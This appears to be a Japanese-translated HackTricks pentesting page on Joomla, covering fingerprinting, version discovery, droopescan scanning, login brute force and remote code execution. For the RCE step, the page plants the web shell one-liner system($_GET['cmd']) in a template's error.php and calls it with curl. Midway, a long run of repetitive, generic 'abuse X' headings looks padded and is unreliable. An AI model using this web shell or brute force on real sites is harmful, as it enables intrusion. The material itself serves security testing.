hacktricks/network-services-pentesting/pentesting-web/joomla.md
2023-07-07 23:42:27 +00:00

229 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
### Joomlaの統計
Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースのバージョン、およびサーバーのオペレーティングシステムなど、いくつかの匿名の[使用統計](https://developer.joomla.org/about/stats.html)を収集しています。このデータは、公開されている[API](https://developer.joomla.org/about/stats/api.html)を介してクエリできます。
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## 列挙
### 発見/フットプリンティング
* **メタ**をチェックする
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
ロボット.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
# Joomla
## 概要
Joomlaは、人気のあるオープンソースのコンテンツ管理システムCMSです。このCMSは、ウェブサイトの作成と管理を容易にするために使用されます。Joomlaは、PHPで書かれており、MySQLデータベースを使用しています。
## ペンテストの手法
### 1. Joomlaのバージョンの特定
Joomlaのバージョンを特定することは、脆弱性の評価と攻撃の計画に重要です。以下の方法でバージョンを特定できます。
- `/administrator/manifests/files/joomla.xml`にアクセスしてバージョンを確認する。
- `/administrator/manifests/files/joomla.xml`にアクセスして、`<version>`タグの値を確認する。
- `/language/en-GB/en-GB.xml`にアクセスして、`<version>`タグの値を確認する。
### 2. デフォルトのクレデンシャルの確認
Joomlaのデフォルトのクレデンシャルを使用してログインできるかどうかを確認します。以下のデフォルトのクレデンシャルを試してみてください。
- ユーザー名:`admin`、パスワード:`admin`
- ユーザー名:`administrator`、パスワード:`administrator`
### 3. ファイルのアップロード
Joomlaのファイルアップロード機能を悪用して、任意のファイルをアップロードすることができます。アップロードされたファイルを使用して、コードの実行やシステムへのアクセスを試みることができます。
### 4. SQLインジェクション
JoomlaのSQLインジェクション脆弱性を悪用して、データベースから情報を抽出したり、データを改ざんしたりすることができます。SQLインジェクションのテストを実施し、脆弱性を特定します。
### 5. パスワードリセットの悪用
Joomlaのパスワードリセット機能を悪用して、他のユーザーのパスワードをリセットすることができます。これにより、他のユーザーのアカウントにアクセスできる可能性があります。
### 6. プラグインの脆弱性
Joomlaのプラグインには、脆弱性が存在する場合があります。脆弱性のあるプラグインを特定し、攻撃のためのエクスプロイトを見つけます。
### 7. ファイルの読み取りと書き込み
Joomlaのファイルシステムに対して読み取りと書き込みの権限を持つことができれば、機密情報の抽出やシステムの改ざんが可能になります。ファイルシステムの権限を確認し、必要な権限を取得します。
### 8. データベースの情報の抽出
Joomlaのデータベースには、ウェブサイトの重要な情報が格納されています。データベースから情報を抽出し、攻撃のための有用な情報を見つけます。
### 9. リモートコード実行
Joomlaのリモートコード実行脆弱性を悪用して、任意のコードを実行することができます。リモートコード実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 10. ディレクトリトラバーサル
Joomlaのディレクトリトラバーサル脆弱性を悪用して、ウェブサイトのファイルシステムにアクセスすることができます。ディレクトリトラバーサルの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 11. セッションハイジャック
Joomlaのセッションハイジャック脆弱性を悪用して、他のユーザーのセッションを奪取することができます。セッションハイジャックの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 12. ディレクトリリスティング
Joomlaのディレクトリリスティング脆弱性を悪用して、ウェブサイトのディレクトリ構造を表示することができます。ディレクトリリスティングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 13. クロスサイトスクリプティングXSS
JoomlaのクロスサイトスクリプティングXSS脆弱性を悪用して、ユーザーのセッションを乗っ取ったり、悪意のあるスクリプトを実行したりすることができます。XSSの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 14. リダイレクト攻撃
Joomlaのリダイレクト攻撃脆弱性を悪用して、ユーザーを悪意のあるウェブサイトにリダイレクトすることができます。リダイレクト攻撃の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 15. ファイルインクルージョン
Joomlaのファイルインクルージョン脆弱性を悪用して、任意のファイルを読み込むことができます。ファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 16. リモートファイルインクルージョン
Joomlaのリモートファイルインクルージョン脆弱性を悪用して、リモートサーバー上のファイルを読み込むことができます。リモートファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 17. ディレクトリブラウジング
Joomlaのディレクトリブラウジング脆弱性を悪用して、ウェブサイトのディレクトリ内のファイルを表示することができます。ディレクトリブラウジングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 18. ファイルダウンロード
Joomlaのファイルダウンロード機能を悪用して、ウェブサイトのファイルをダウンロードすることができます。ファイルダウンロードの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 19. ファイルの削除
Joomlaのファイル削除機能を悪用して、ウェブサイトのファイルを削除することができます。ファイル削除の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 20. ファイルの実行
Joomlaのファイル実行機能を悪用して、任意のコードを実行することができます。ファイル実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 21. ファイルの移動
Joomlaのファイル移動機能を悪用して、ウェブサイトのファイルを移動することができます。ファイル移動の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 22. ファイルのコピー
Joomlaのファイルコピー機能を悪用して、ウェブサイトのファイルをコピーすることができます。ファイルコピーの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 23. ファイルの圧縮と解凍
Joomlaのファイル圧縮と解凍機能を悪用して、ウェブサイトのファイルを圧縮または解凍することができます。ファイル圧縮と解凍の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 24. ファイルの表示
Joomlaのファイル表示機能を悪用して、ウェブサイトのファイルの内容を表示することができます。ファイル表示の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
### 25. ファイルの編集
Joomlaのファイル編集機能を悪用して、ウェブサイトのファイルを編集することができます。ファイル編集の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### バージョン
* **/administrator/manifests/files/joomla.xml** ではバージョンを確認できます。
* **/language/en-GB/en-GB.xml** ではJoomlaのバージョンを取得できます。
* **plugins/system/cache/cache.xml** ではおおよそのバージョンを確認できます。
### 自動化
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Methodologyは、JoomlaをスキャンできるCMSスキャナに関するセクションです**](./#cms-scanners)。
### ブルートフォース
[このスクリプト](https://github.com/ajnik/joomla-bruteforce)を使用して、ログインのブルートフォース攻撃を試みることができます。
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
**管理者の資格情報**を取得できた場合、**PHPコードのスニペット**を追加して**RCE**を実行することができます。これは**テンプレート**を**カスタマイズ**することで行うことができます。
1. `Configuration`の下にある**`Templates`**をクリックして、テンプレートメニューを表示します。
2. **`Template`**列のヘッダーの下にある**`protostar`**を選択して、**`Templates: Customise`**ページに移動します。
3. 最後に、ページソースを表示するためにページをクリックします。**`error.php`**ページを選択しましょう。以下のように**PHPのワンライナーを追加してコード実行を行います**
1. **`system($_GET['cmd']);`**
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id`
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>